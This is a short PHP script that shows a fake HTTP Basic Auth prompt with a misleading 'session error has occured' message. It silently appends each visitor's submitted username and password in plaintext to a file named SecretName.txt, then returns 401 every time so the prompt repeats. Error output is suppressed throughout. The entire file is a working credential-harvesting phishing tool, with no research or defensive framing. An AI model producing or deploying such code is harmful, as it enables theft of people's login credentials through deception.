<?php

    if(isset($_SERVER['PHP_AUTH_USER'])){

        $Handle = @fopen('SecretName.txt', 'a');



        @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");

        @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");



        @fclose($Handle);

    }

    header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');

    header('HTTP/1.0 401 Unauthorized');

    exit;

 ?>